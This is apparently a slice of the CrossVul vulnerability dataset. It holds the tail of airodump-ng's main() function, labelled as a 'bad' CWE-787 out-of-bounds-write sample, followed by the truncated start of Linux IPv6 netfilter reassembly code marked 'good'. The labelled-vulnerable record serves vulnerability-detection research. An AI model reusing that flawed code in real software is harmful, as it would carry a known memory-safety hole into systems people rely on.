the sensitive parts of libgcrypt. gcry_control (GCRYCTL_SET_THREAD_CBS, &gcry_threads_pthread); // Disable secure memory. gcry_control (GCRYCTL_DISABLE_SECMEM, 0); // Tell Libgcrypt that initialization has completed. gcry_control (GCRYCTL_INITIALIZATION_FINISHED, 0); #endif pthread_mutex_init( &(G.mx_print), NULL ); pthread_mutex_init( &(G.mx_sort), NULL ); textstyle(TEXT_RESET);//(TEXT_RESET, TEXT_BLACK, TEXT_WHITE); /* initialize a bunch of variables */ srand( time( NULL ) ); memset( &G, 0, sizeof( G ) ); h80211 = NULL; ivs_only = 0; G.chanoption = 0; G.freqoption = 0; G.num_cards = 0; fdh = 0; fd_is_set = 0; chan_count = 0; time_slept = 0; G.batt = NULL; G.chswitch = 0; valid_channel = 0; G.usegpsd = 0; G.channels = bg_chans; G.one_beacon = 1; G.singlechan = 0; G.singlefreq = 0; G.dump_prefix = NULL; G.record_data = 0; G.f_cap = NULL; G.f_ivs = NULL; G.f_txt = NULL; G.f_kis = NULL; G.f_kis_xml = NULL; G.f_gps = NULL; G.keyout = NULL; G.f_xor = NULL; G.sk_len = 0; G.sk_len2 = 0; G.sk_start = 0; G.prefix = NULL; G.f_encrypt = 0; G.asso_client = 0; G.f_essid = NULL; G.f_essid_count = 0; G.active_scan_sim = 0; G.update_s = 0; G.decloak = 1; G.is_berlin = 0; G.numaps = 0; G.maxnumaps = 0; G.berlin = 120; G.show_ap = 1; G.show_sta = 1; G.show_ack = 0; G.hide_known = 0; G.maxsize_essid_seen = 5; // Initial value: length of "ESSID" G.show_manufacturer = 0; G.show_uptime = 0; G.hopfreq = DEFAULT_HOPFREQ; G.s_file = NULL; G.s_iface = NULL; G.f_cap_in = NULL; G.detect_anomaly = 0; G.airodump_start_time = NULL; G.manufList = NULL; G.output_format_pcap = 1; G.output_format_csv = 1; G.output_format_kismet_csv = 1; G.output_format_kismet_netxml = 1; #ifdef HAVE_PCRE G.f_essid_regex = NULL; #endif // Default selection. resetSelection(); memset(G.sharedkey, '\x00', 512*3); memset(G.message, '\x00', sizeof(G.message)); memset(&G.pfh_in, '\x00', sizeof(struct pcap_file_header)); gettimeofday( &tv0, NULL ); lt = localtime( (time_t *) &tv0.tv_sec ); G.keyout = (char*) malloc(512); memset( G.keyout, 0, 512 ); snprintf( G.keyout, 511, "keyout-%02d%02d-%02d%02d%02d.keys", lt->tm_mon + 1, lt->tm_mday, lt->tm_hour, lt->tm_min, lt->tm_sec ); for(i=0; i<MAX_CARDS; i++) { arptype[i]=0; fd_raw[i]=-1; G.channel[i]=0; } memset(G.f_bssid, '\x00', 6); memset(G.f_netmask, '\x00', 6); memset(G.wpa_bssid, '\x00', 6); /* check the arguments */ for(i=0; long_options[i].name != NULL; i++); num_opts = i; for(i=0; i<argc; i++) //go through all arguments { found = 0; if(strlen(argv[i]) >= 3) { if(argv[i][0] == '-' && argv[i][1] != '-') { //we got a single dash followed by at least 2 chars //lets check that against our long options to find errors for(j=0; j<num_opts;j++) { if( strcmp(argv[i]+1, long_options[j].name) == 0 ) { //found long option after single dash found = 1; if(i>1 && strcmp(argv[i-1], "-") == 0) { //separated dashes? printf("Notice: You specified \"%s %s\". Did you mean \"%s%s\" instead?\n", argv[i-1], argv[i], argv[i-1], argv[i]); } else { //forgot second dash? printf("Notice: You specified \"%s\". Did you mean \"-%s\" instead?\n", argv[i], argv[i]); } break; } } if(found) { sleep(3); break; } } } } do { option_index = 0; option = getopt_long( argc, argv, "b:c:egiw:s:t:u:m:d:N:R:aHDB:Ahf:r:EC:o:x:MU", long_options, &option_index ); if( option < 0 ) break; switch( option ) { case 0 : break; case ':': printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); case '?': printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); case 'E': G.detect_anomaly = 1; break; case 'e': G.one_beacon = 0; break; case 'a': G.asso_client = 1; break; case 'A': G.show_ack = 1; break; case 'h': G.hide_known = 1; break; case 'D': G.decloak = 0; break; case 'M': G.show_manufacturer = 1; break; case 'U' : G.show_uptime = 1; break; case 'c' : if (G.channel[0] > 0 || G.chanoption == 1) { if (G.chanoption == 1) printf( "Notice: Channel range already given\n" ); else printf( "Notice: Channel already given (%d)\n", G.channel[0]); break; } G.channel[0] = getchannels(optarg); if ( G.channel[0] < 0 ) goto usage; G.chanoption = 1; if( G.channel[0] == 0 ) { G.channels = G.own_channels; break; } G.channels = bg_chans; break; case 'C' : if (G.channel[0] > 0 || G.chanoption == 1) { if (G.chanoption == 1) printf( "Notice: Channel range already given\n" ); else printf( "Notice: Channel already given (%d)\n", G.channel[0]); break; } if (G.freqoption == 1) { printf( "Notice: Frequency range already given\n" ); break; } G.freqstring = optarg; G.freqoption = 1; break; case 'b' : if (G.chanoption == 1 && option != 'c') { printf( "Notice: Channel range already given\n" ); break; } freq[0] = freq[1] = 0; for (i = 0; i < (int)strlen(optarg); i++) { if ( optarg[i] == 'a' ) freq[1] = 1; else if ( optarg[i] == 'b' || optarg[i] == 'g') freq[0] = 1; else { printf( "Error: invalid band (%c)\n", optarg[i] ); printf("\"%s --help\" for help.\n", argv[0]); exit ( 1 ); } } if (freq[1] + freq[0] == 2 ) G.channels = abg_chans; else { if ( freq[1] == 1 ) G.channels = a_chans; else G.channels = bg_chans; } break; case 'i': // Reset output format if it's the first time the option is specified if (output_format_first_time) { output_format_first_time = 0; G.output_format_pcap = 0; G.output_format_csv = 0; G.output_format_kismet_csv = 0; G.output_format_kismet_netxml = 0; } if (G.output_format_pcap) { printf( usage, getVersion("Airodump-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC) ); fprintf(stderr, "Invalid output format: IVS and PCAP format cannot be used together.\n"); return( 1 ); } ivs_only = 1; break; case 'g': G.usegpsd = 1; /* if (inet_aton(optarg, &provis_addr.sin_addr) == 0 ) { printf("Invalid IP address.\n"); return (1); } */ break; case 'w': if (G.dump_prefix != NULL) { printf( "Notice: dump prefix already given\n" ); break; } /* Write prefix */ G.dump_prefix = optarg; G.record_data = 1; break; case 'r' : if( G.s_file ) { printf( "Packet source already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } G.s_file = optarg; break; case 's': if (atoi(optarg) > 2) { goto usage; } if (G.chswitch != 0) { printf("Notice: switching method already given\n"); break; } G.chswitch = atoi(optarg); break; case 'u': G.update_s = atoi(optarg); /* If failed to parse or value <= 0, use default, 100ms */ if (G.update_s <= 0) G.update_s = REFRESH_RATE; break; case 'f': G.hopfreq = atoi(optarg); /* If failed to parse or value <= 0, use default, 100ms */ if (G.hopfreq <= 0) G.hopfreq = DEFAULT_HOPFREQ; break; case 'B': G.is_berlin = 1; G.berlin = atoi(optarg); if (G.berlin <= 0) G.berlin = 120; break; case 'm': if ( memcmp(G.f_netmask, NULL_MAC, 6) != 0 ) { printf("Notice: netmask already given\n"); break; } if(getmac(optarg, 1, G.f_netmask) != 0) { printf("Notice: invalid netmask\n"); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'd': if ( memcmp(G.f_bssid, NULL_MAC, 6) != 0 ) { printf("Notice: bssid already given\n"); break; } if(getmac(optarg, 1, G.f_bssid) != 0) { printf("Notice: invalid bssid\n"); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'N': G.f_essid_count++; G.f_essid = (char**)realloc(G.f_essid, G.f_essid_count * sizeof(char*)); G.f_essid[G.f_essid_count-1] = optarg; break; case 'R': #ifdef HAVE_PCRE if (G.f_essid_regex != NULL) { printf("Error: ESSID regular expression already given. Aborting\n"); exit(1); } G.f_essid_regex = pcre_compile(optarg, 0, &pcreerror, &pcreerroffset, NULL); if (G.f_essid_regex == NULL) { printf("Error: regular expression compilation failed at offset %d: %s; aborting\n", pcreerroffset, pcreerror); exit(1); } #else printf("Error: Airodump-ng wasn't compiled with pcre support; aborting\n"); #endif break; case 't': set_encryption_filter(optarg); break; case 'o': // Reset output format if it's the first time the option is specified if (output_format_first_time) { output_format_first_time = 0; G.output_format_pcap = 0; G.output_format_csv = 0; G.output_format_kismet_csv = 0; G.output_format_kismet_netxml = 0; } // Parse the value output_format_string = strtok(optarg, ","); while (output_format_string != NULL) { if (strlen(output_format_string) != 0) { if (strncasecmp(output_format_string, "csv", 3) == 0 || strncasecmp(output_format_string, "txt", 3) == 0) { G.output_format_csv = 1; } else if (strncasecmp(output_format_string, "pcap", 4) == 0 || strncasecmp(output_format_string, "cap", 3) == 0) { if (ivs_only) { printf( usage, getVersion("Airodump-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC) ); fprintf(stderr, "Invalid output format: IVS and PCAP format cannot be used together.\n"); return( 1 ); } G.output_format_pcap = 1; } else if (strncasecmp(output_format_string, "ivs", 3) == 0) { if (G.output_format_pcap) { printf( usage, getVersion("Airodump-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC) ); fprintf(stderr, "Invalid output format: IVS and PCAP format cannot be used together.\n"); return( 1 ); } ivs_only = 1; } else if (strncasecmp(output_format_string, "kismet", 6) == 0) { G.output_format_kismet_csv = 1; } else if (strncasecmp(output_format_string, "gps", 3) == 0) { G.usegpsd = 1; } else if (strncasecmp(output_format_string, "netxml", 6) == 0 || strncasecmp(output_format_string, "newcore", 7) == 0 || strncasecmp(output_format_string, "kismet-nc", 9) == 0 || strncasecmp(output_format_string, "kismet_nc", 9) == 0 || strncasecmp(output_format_string, "kismet-newcore", 14) == 0 || strncasecmp(output_format_string, "kismet_newcore", 14) == 0) { G.output_format_kismet_netxml = 1; } else if (strncasecmp(output_format_string, "default", 6) == 0) { G.output_format_pcap = 1; G.output_format_csv = 1; G.output_format_kismet_csv = 1; G.output_format_kismet_netxml = 1; } else if (strncasecmp(output_format_string, "none", 6) == 0) { G.output_format_pcap = 0; G.output_format_csv = 0; G.output_format_kismet_csv = 0; G.output_format_kismet_netxml = 0; G.usegpsd = 0; ivs_only = 0; } else { // Display an error if it does not match any value fprintf(stderr, "Invalid output format: <%s>\n", output_format_string); exit(1); } } output_format_string = strtok(NULL, ","); } break; case 'H': printf( usage, getVersion("Airodump-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC) ); return( 1 ); case 'x': G.active_scan_sim = atoi(optarg); if (G.active_scan_sim <= 0) G.active_scan_sim = 0; break; default : goto usage; } } while ( 1 ); if( argc - optind != 1 && G.s_file == NULL) { if(argc == 1) { usage: printf( usage, getVersion("Airodump-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC) ); } if( argc - optind == 0) { printf("No interface specified.\n"); } if(argc > 1) { printf("\"%s --help\" for help.\n", argv[0]); } return( 1 ); } if( argc - optind == 1 ) G.s_iface = argv[argc-1]; if( ( memcmp(G.f_netmask, NULL_MAC, 6) != 0 ) && ( memcmp(G.f_bssid, NULL_MAC, 6) == 0 ) ) { printf("Notice: specify bssid \"--bssid\" with \"--netmask\"\n"); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } if(G.s_iface != NULL) { /* initialize cards */ G.num_cards = init_cards(G.s_iface, iface, wi); if(G.num_cards <= 0) return( 1 ); for (i = 0; i < G.num_cards; i++) { fd_raw[i] = wi_fd(wi[i]); if (fd_raw[i] > fdh) fdh = fd_raw[i]; } if(G.freqoption == 1 && G.freqstring != NULL) // use frequencies { detect_frequencies(wi[0]); G.frequency[0] = getfrequencies(G.freqstring); if(G.frequency[0] == -1) { printf("No valid frequency given.\n"); return(1); } // printf("gonna rearrange\n"); rearrange_frequencies(); // printf("finished rearranging\n"); freq_count = getfreqcount(0); /* find the interface index */ /* start a child to hop between frequencies */ if( G.frequency[0] == 0 ) { unused = pipe( G.ch_pipe ); unused = pipe( G.cd_pipe ); signal( SIGUSR1, sighandler ); if( ! fork() ) { /* reopen cards. This way parent & child don't share resources for * accessing the card (e.g. file descriptors) which may cause * problems. -sorbo */ for (i = 0; i < G.num_cards; i++) { strncpy(ifnam, wi_get_ifname(wi[i]), sizeof(ifnam)-1); ifnam[sizeof(ifnam)-1] = 0; wi_close(wi[i]); wi[i] = wi_open(ifnam); if (!wi[i]) { printf("Can't reopen %s\n", ifnam); exit(1); } } /* Drop privileges */ if (setuid( getuid() ) == -1) { perror("setuid"); } frequency_hopper(wi, G.num_cards, freq_count); exit( 1 ); } } else { for( i=0; i<G.num_cards; i++ ) { wi_set_freq(wi[i], G.frequency[0]); G.frequency[i] = G.frequency[0]; } G.singlefreq = 1; } } else //use channels { chan_count = getchancount(0); /* find the interface index */ /* start a child to hop between channels */ if( G.channel[0] == 0 ) { unused = pipe( G.ch_pipe ); unused = pipe( G.cd_pipe ); signal( SIGUSR1, sighandler ); if( ! fork() ) { /* reopen cards. This way parent & child don't share resources for * accessing the card (e.g. file descriptors) which may cause * problems. -sorbo */ for (i = 0; i < G.num_cards; i++) { strncpy(ifnam, wi_get_ifname(wi[i]), sizeof(ifnam)-1); ifnam[sizeof(ifnam)-1] = 0; wi_close(wi[i]); wi[i] = wi_open(ifnam); if (!wi[i]) { printf("Can't reopen %s\n", ifnam); exit(1); } } /* Drop privileges */ if (setuid( getuid() ) == -1) { perror("setuid"); } channel_hopper(wi, G.num_cards, chan_count); exit( 1 ); } } else { for( i=0; i<G.num_cards; i++ ) { wi_set_channel(wi[i], G.channel[0]); G.channel[i] = G.channel[0]; } G.singlechan = 1; } } } /* Drop privileges */ if (setuid( getuid() ) == -1) { perror("setuid"); } /* check if there is an input file */ if( G.s_file != NULL ) { if( ! ( G.f_cap_in = fopen( G.s_file, "rb" ) ) ) { perror( "open failed" ); return( 1 ); } n = sizeof( struct pcap_file_header ); if( fread( &G.pfh_in, 1, n, G.f_cap_in ) != (size_t) n ) { perror( "fread(pcap file header) failed" ); return( 1 ); } if( G.pfh_in.magic != TCPDUMP_MAGIC && G.pfh_in.magic != TCPDUMP_CIGAM ) { fprintf( stderr, "\"%s\" isn't a pcap file (expected " "TCPDUMP_MAGIC).\n", G.s_file ); return( 1 ); } if( G.pfh_in.magic == TCPDUMP_CIGAM ) SWAP32(G.pfh_in.linktype); if( G.pfh_in.linktype != LINKTYPE_IEEE802_11 && G.pfh_in.linktype != LINKTYPE_PRISM_HEADER && G.pfh_in.linktype != LINKTYPE_RADIOTAP_HDR && G.pfh_in.linktype != LINKTYPE_PPI_HDR ) { fprintf( stderr, "Wrong linktype from pcap file header " "(expected LINKTYPE_IEEE802_11) -\n" "this doesn't look like a regular 802.11 " "capture.\n" ); return( 1 ); } } /* open or create the output files */ if (G.record_data) if( dump_initialize( G.dump_prefix, ivs_only ) ) return( 1 ); signal( SIGINT, sighandler ); signal( SIGSEGV, sighandler ); signal( SIGTERM, sighandler ); signal( SIGWINCH, sighandler ); sighandler( SIGWINCH ); /* fill oui struct if ram is greater than 32 MB */ if (get_ram_size() > MIN_RAM_SIZE_LOAD_OUI_RAM) { G.manufList = load_oui_file(); } /* start the GPS tracker */ if (G.usegpsd) { unused = pipe( G.gc_pipe ); signal( SIGUSR2, sighandler ); if( ! fork() ) { gps_tracker(); exit( 1 ); } usleep( 50000 ); waitpid( -1, NULL, WNOHANG ); } fprintf( stderr, "\33[?25l\33[2J\n" ); start_time = time( NULL ); tt1 = time( NULL ); tt2 = time( NULL ); tt3 = time( NULL ); gettimeofday( &tv3, NULL ); gettimeofday( &tv4, NULL ); G.batt = getBatteryString(); G.elapsed_time = (char *) calloc( 1, 4 ); strncpy(G.elapsed_time, "0 s", 4 - 1); /* Create start time string for kismet netxml file */ G.airodump_start_time = (char *) calloc( 1, 1000 * sizeof(char) ); strncpy(G.airodump_start_time, ctime( & start_time ), 1000 - 1); G.airodump_start_time[strlen(G.airodump_start_time) - 1] = 0; // remove new line G.airodump_start_time = (char *) realloc( G.airodump_start_time, sizeof(char) * (strlen(G.airodump_start_time) + 1) ); if( pthread_create( &(G.input_tid), NULL, (void *) input_thread, NULL ) != 0 ) { perror( "pthread_create failed" ); return 1; } while( 1 ) { if( G.do_exit ) { break; } if( time( NULL ) - tt1 >= 5 ) { /* update the csv stats file */ tt1 = time( NULL ); if (G. output_format_csv) dump_write_csv(); if (G.output_format_kismet_csv) dump_write_kismet_csv(); if (G.output_format_kismet_netxml) dump_write_kismet_netxml(); /* sort the APs by power */ if(G.sort_by != SORT_BY_NOTHING) { pthread_mutex_lock( &(G.mx_sort) ); dump_sort(); pthread_mutex_unlock( &(G.mx_sort) ); } } if( time( NULL ) - tt2 > 3 ) { /* update the battery state */ free(G.batt); G.batt = NULL; tt2 = time( NULL ); G.batt = getBatteryString(); /* update elapsed time */ free(G.elapsed_time); G.elapsed_time=NULL; G.elapsed_time = getStringTimeFromSec( difftime(tt2, start_time) ); /* flush the output files */ if( G.f_cap != NULL ) fflush( G.f_cap ); if( G.f_ivs != NULL ) fflush( G.f_ivs ); } gettimeofday( &tv1, NULL ); cycle_time = 1000000 * ( tv1.tv_sec - tv3.tv_sec ) + ( tv1.tv_usec - tv3.tv_usec ); cycle_time2 = 1000000 * ( tv1.tv_sec - tv4.tv_sec ) + ( tv1.tv_usec - tv4.tv_usec ); if( G.active_scan_sim > 0 && cycle_time2 > G.active_scan_sim*1000 ) { gettimeofday( &tv4, NULL ); send_probe_requests(wi, G.num_cards); } if( cycle_time > 500000 ) { gettimeofday( &tv3, NULL ); update_rx_quality( ); if(G.s_iface != NULL) { check_monitor(wi, fd_raw, &fdh, G.num_cards); if(G.singlechan) check_channel(wi, G.num_cards); if(G.singlefreq) check_frequency(wi, G.num_cards); } } if(G.s_file != NULL) { /* Read one packet */ n = sizeof( pkh ); if( fread( &pkh, n, 1, G.f_cap_in ) != 1 ) { memset(G.message, '\x00', sizeof(G.message)); snprintf(G.message, sizeof(G.message), "][ Finished reading input file %s.\n", G.s_file); G.s_file = NULL; continue; } if( G.pfh_in.magic == TCPDUMP_CIGAM ) { SWAP32( pkh.caplen ); SWAP32( pkh.len ); } n = caplen = pkh.caplen; memset(buffer, 0, sizeof(buffer)); h80211 = buffer; if( n <= 0 || n > (int) sizeof( buffer ) ) { memset(G.message, '\x00', sizeof(G.message)); snprintf(G.message, sizeof(G.message), "][ Finished reading input file %s.\n", G.s_file); G.s_file = NULL; continue; } if( fread( h80211, n, 1, G.f_cap_in ) != 1 ) { memset(G.message, '\x00', sizeof(G.message)); snprintf(G.message, sizeof(G.message), "][ Finished reading input file %s.\n", G.s_file); G.s_file = NULL; continue; } if( G.pfh_in.linktype == LINKTYPE_PRISM_HEADER ) { if( h80211[7] == 0x40 ) n = 64; else n = *(int *)( h80211 + 4 ); if( n < 8 || n >= (int) caplen ) continue; memcpy( tmpbuf, h80211, caplen ); caplen -= n; memcpy( h80211, tmpbuf + n, caplen ); } if( G.pfh_in.linktype == LINKTYPE_RADIOTAP_HDR ) { /* remove the radiotap header */ n = *(unsigned short *)( h80211 + 2 ); if( n <= 0 || n >= (int) caplen ) continue; memcpy( tmpbuf, h80211, caplen ); caplen -= n; memcpy( h80211, tmpbuf + n, caplen ); } if( G.pfh_in.linktype == LINKTYPE_PPI_HDR ) { /* remove the PPI header */ n = le16_to_cpu(*(unsigned short *)( h80211 + 2)); if( n <= 0 || n>= (int) caplen ) continue; /* for a while Kismet logged broken PPI headers */ if ( n == 24 && le16_to_cpu(*(unsigned short *)(h80211 + 8)) == 2 ) n = 32; if( n <= 0 || n>= (int) caplen ) continue; memcpy( tmpbuf, h80211, caplen ); caplen -= n; memcpy( h80211, tmpbuf + n, caplen ); } read_pkts++; if(read_pkts%10 == 0) usleep(1); } else if(G.s_iface != NULL) { /* capture one packet */ FD_ZERO( &rfds ); for(i=0; i<G.num_cards; i++) { FD_SET( fd_raw[i], &rfds ); } tv0.tv_sec = G.update_s; tv0.tv_usec = (G.update_s == 0) ? REFRESH_RATE : 0; gettimeofday( &tv1, NULL ); if( select( fdh + 1, &rfds, NULL, NULL, &tv0 ) < 0 ) { if( errno == EINTR ) { gettimeofday( &tv2, NULL ); time_slept += 1000000 * ( tv2.tv_sec - tv1.tv_sec ) + ( tv2.tv_usec - tv1.tv_usec ); continue; } perror( "select failed" ); /* Restore terminal */ fprintf( stderr, "\33[?25h" ); fflush( stdout ); return( 1 ); } } else usleep(1); gettimeofday( &tv2, NULL ); time_slept += 1000000 * ( tv2.tv_sec - tv1.tv_sec ) + ( tv2.tv_usec - tv1.tv_usec ); if( time_slept > REFRESH_RATE && time_slept > G.update_s * 1000000) { time_slept = 0; update_dataps(); /* update the window size */ if( ioctl( 0, TIOCGWINSZ, &(G.ws) ) < 0 ) { G.ws.ws_row = 25; G.ws.ws_col = 80; } if( G.ws.ws_col < 1 ) G.ws.ws_col = 1; if( G.ws.ws_col > 300 ) G.ws.ws_col = 300; /* display the list of access points we have */ if(!G.do_pause) { pthread_mutex_lock( &(G.mx_print) ); fprintf( stderr, "\33[1;1H" ); dump_print( G.ws.ws_row, G.ws.ws_col, G.num_cards ); fprintf( stderr, "\33[J" ); fflush( stdout ); pthread_mutex_unlock( &(G.mx_print) ); } continue; } if(G.s_file == NULL && G.s_iface != NULL) { fd_is_set = 0; for(i=0; i<G.num_cards; i++) { if( FD_ISSET( fd_raw[i], &rfds ) ) { memset(buffer, 0, sizeof(buffer)); h80211 = buffer; if ((caplen = wi_read(wi[i], h80211, sizeof(buffer), &ri)) == -1) { wi_read_failed++; if(wi_read_failed > 1) { G.do_exit = 1; break; } memset(G.message, '\x00', sizeof(G.message)); snprintf(G.message, sizeof(G.message), "][ interface %s down ", wi_get_ifname(wi[i])); //reopen in monitor mode strncpy(ifnam, wi_get_ifname(wi[i]), sizeof(ifnam)-1); ifnam[sizeof(ifnam)-1] = 0; wi_close(wi[i]); wi[i] = wi_open(ifnam); if (!wi[i]) { printf("Can't reopen %s\n", ifnam); /* Restore terminal */ fprintf( stderr, "\33[?25h" ); fflush( stdout ); exit(1); } fd_raw[i] = wi_fd(wi[i]); if (fd_raw[i] > fdh) fdh = fd_raw[i]; break; // return 1; } read_pkts++; wi_read_failed = 0; dump_add_packet( h80211, caplen, &ri, i ); } } } else if (G.s_file != NULL) { dump_add_packet( h80211, caplen, &ri, i ); } } if(G.batt) free(G.batt); if(G.elapsed_time) free(G.elapsed_time); if(G.own_channels) free(G.own_channels); if(G.f_essid) free(G.f_essid); if(G.prefix) free(G.prefix); if(G.f_cap_name) free(G.f_cap_name); if(G.keyout) free(G.keyout); #ifdef HAVE_PCRE if(G.f_essid_regex) pcre_free(G.f_essid_regex); #endif for(i=0; i<G.num_cards; i++) wi_close(wi[i]); if (G.record_data) { if ( G. output_format_csv) dump_write_csv(); if ( G.output_format_kismet_csv) dump_write_kismet_csv(); if ( G.output_format_kismet_netxml) dump_write_kismet_netxml(); if ( G. output_format_csv || G.f_txt != NULL ) fclose( G.f_txt ); if ( G.output_format_kismet_csv || G.f_kis != NULL ) fclose( G.f_kis ); if ( G.output_format_kismet_netxml || G.f_kis_xml != NULL ) { fclose( G.f_kis_xml ); free(G.airodump_start_time); } if ( G.f_gps != NULL ) fclose( G.f_gps ); if ( G.output_format_pcap || G.f_cap != NULL ) fclose( G.f_cap ); if ( G.f_ivs != NULL ) fclose( G.f_ivs ); } if( ! G.save_gps ) { snprintf( (char *) buffer, 4096, "%s-%02d.gps", argv[2], G.f_index ); unlink( (char *) buffer ); } ap_prv = NULL; ap_cur = G.ap_1st; while( ap_cur != NULL ) { // Clean content of ap_cur list (first element: G.ap_1st) uniqueiv_wipe( ap_cur->uiv_root ); list_tail_free(&(ap_cur->packets)); if (G.manufList) free(ap_cur->manuf); if (G.detect_anomaly) data_wipe(ap_cur->data_root); ap_prv = ap_cur; ap_cur = ap_cur->next; } ap_cur = G.ap_1st; while( ap_cur != NULL ) { // Freeing AP List ap_next = ap_cur->next; if( ap_cur != NULL ) free(ap_cur); ap_cur = ap_next; } st_cur = G.st_1st; st_next= NULL; while(st_cur != NULL) { st_next = st_cur->next; if (G.manufList) free(st_cur->manuf); free(st_cur); st_cur = st_next; } na_cur = G.na_1st; na_next= NULL; while(na_cur != NULL) { na_next = na_cur->next; free(na_cur); na_cur = na_next; } if (G.manufList) { oui_cur = G.manufList; while (oui_cur != NULL) { oui_next = oui_cur->next; free(oui_cur); oui_cur = oui_next; } } fprintf( stderr, "\33[?25h" ); fflush( stdout ); return( 0 ); }
./CrossVul/dataset_final_sorted/CWE-787/c/bad_2311_0
crossvul-cpp_data_good_5499_0
/* * IPv6 fragment reassembly for connection tracking * * Copyright (C)2004 USAGI/WIDE Project * * Author: * Yasuyuki Kozakai @USAGI <yasuyuki.kozakai@toshiba.co.jp> * * Based on: net/ipv6/reassembly.c * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version * 2 of the License, or (at your option) any later version. */ #define pr_fmt(fmt) "IPv6-nf: " fmt #include <linux/errno.h> #include <linux/types.h> #include <linux/string.h> #include <linux/socket.h> #include <linux/sockios.h> #include <linux/jiffies.h> #include <linux/net.h> #include <linux/list.h> #include <linux/netdevice.h> #include <linux/in6.h> #include <linux/ipv6.h> #include <linux/icmpv6.h> #include <linux/random.h> #include <linux/slab.h> #include <net/sock.h> #include <net/snmp.h> #include <net/inet_frag.h> #include <net/ipv6.h> #include <net/protocol.h> #include <net/transp_v6.h> #include <net/rawv6.h> #include <net/ndisc.h> #include <net/addrconf.h> #include <net/inet_ecn.h> #include <net/netfilter/ipv6/nf_conntrack_ipv6.h> #include <linux/sysctl.h> #include <linux/netfilter.h> #include <linux/netfilter_ipv6.h> #include <linux/kernel.h> #include <linux/module.h> #include <net/netfilter/ipv6/nf_defrag_ipv6.h> static const char nf_frags_cache_name[] = "nf-frags"; struct nf_ct_frag6_skb_cb { struct inet6_skb_parm h; int offset; }; #define NFCT_FRAG6_CB(skb) ((struct nf_ct_frag6_skb_cb *)((skb)->cb)) static struct inet_frags nf_frags; #ifdef CONFIG_SYSCTL static int zero; static struct ctl_table nf_ct_frag6_sysctl_table[] = { { .procname = "nf_conntrack_frag6_timeout", .data = &init_net.nf_frag.frags.timeout, .maxlen = sizeof(unsigned int), .mode = 0644, .proc_handler = proc_dointvec_jiffies, }, { .procname = "nf_conntrack_frag6_low_thresh", .data = &init_net.nf_frag.frags.low_thresh, .maxlen = sizeof(unsigned int), .mode = 0644, .proc_handler = proc_dointvec_minmax, .extra1 = &zero, .extra2 = &init_net.nf_frag.frags.high_thresh }, { .procname = "nf_conntrack_frag6_high_thresh", .data = &init_net.nf_frag.frags.high_thresh, .maxlen = sizeof(unsigned int), .mode = 0644, .proc_handler = proc_dointvec_minmax, .extra1 = &init_net.nf_frag.frags.low_thresh }, { } }; static int nf_ct_frag6_sysctl_register(struct net *net) { struct ctl_table *table; struct ctl_table_header *hdr; table = nf_ct_frag6_sysctl_table; if (!net_eq(net, &init_net)) { table = kmemdup(table, sizeof(nf_ct_frag6_sysctl_table), GFP_KERNEL); if (table == NULL) goto err_alloc; table[0].data = &net->nf_frag.frags.timeout; table[1].data = &net->nf_frag.frags.low_thresh; table[1].extra2 = &net->nf_frag.frags.high_thresh; table[2].data = &net->nf_frag.frags.high_thresh; table[2].extra1 = &net->nf_frag.frags.low_thresh; table[2].extra2 = &init_net.nf_frag.frags.high_thresh; } hdr = register_net_sysctl(net, "net/netfilter", table); if (hdr == NULL) goto err_reg; net->nf_frag.sysctl.frags_hdr = hdr; return 0; err_reg: if (!net_eq(net, &init_net)) kfree(table); err_alloc: return -ENOMEM; } static void __net_exit nf_ct_frags6_sysctl_unregister(struct net *net) { struct ctl_table *table; table = net->nf_frag.sysctl.frags_hdr->ctl_table_arg; unregister_net_sysctl_table(net->nf_frag.sysctl.frags_hdr); if (!net_eq(net, &init_net)) kfree(table); } #else static int nf_ct_frag6_sysctl_register(struct net *net) { return 0; } static void __net_exit nf_ct_frags6_sysctl_unregister(struct net *net) { } #endif static inline u8 ip6_frag_ecn(const struct ipv6hdr *ipv6h) { return 1 << (ipv6_get_dsfield(ipv6h) & INET_ECN_MASK); } static unsigned int nf_hash_frag(__be32 id, const struct in6_addr *saddr, const struct in6_addr *daddr) { net_get_random_once(&nf_frags.rnd, sizeof(nf_frags.rnd)); return jhash_3words(ipv6_addr_hash(saddr), ipv6_addr_hash(daddr), (__force u32)id, nf_frags.rnd); } static unsigned int nf_hashfn(const struct inet_frag_queue *q) { const struct frag_queue *nq; nq = container_of(q, struct frag_queue, q); return nf_hash_frag(nq->id, &nq->saddr, &nq->daddr); } static void nf_ct_frag6_expire(unsigned long data) { struct frag_queue *fq; struct net *net; fq = container_of((struct inet_frag_queue *)data, struct frag_queue, q); net = container_of(fq->q.net, struct net, nf_frag.frags); ip6_expire_frag_queue(net, fq, &nf_frags); } /* Creation primitives. */ static inline struct frag_queue *fq_find(struct net *net, __be32 id, u32 user, struct in6_addr *src, struct in6_addr *dst, int iif, u8 ecn) { struct inet_frag_queue *q; struct ip6_create_arg arg; unsigned int hash; arg.id = id; arg.user = user; arg.src = src; arg.dst = dst; arg.iif = iif; arg.ecn = ecn; local_bh_disable(); hash = nf_hash_frag(id, src, dst); q = inet_frag_find(&net->nf_frag.frags, &nf_frags, &arg, hash); local_bh_enable(); if (IS_ERR_OR_NULL(q)) { inet_frag_maybe_warn_overflow(q, pr_fmt()); return NULL; } return container_of(q, struct frag_queue, q); } static int nf_ct_frag6_queue(struct frag_queue *fq, struct sk_buff *skb, const struct frag_hdr *fhdr, int nhoff) { struct sk_buff *prev, *next; unsigned int payload_len; int offset, end; u8 ecn; if (fq->q.flags & INET_FRAG_COMPLETE) { pr_debug("Already completed\n"); goto err; } payload_len = ntohs(ipv6_hdr(skb)->payload_len); offset = ntohs(fhdr->frag_off) & ~0x7; end = offset + (payload_len - ((u8 *)(fhdr + 1) - (u8 *)(ipv6_hdr(skb) + 1))); if 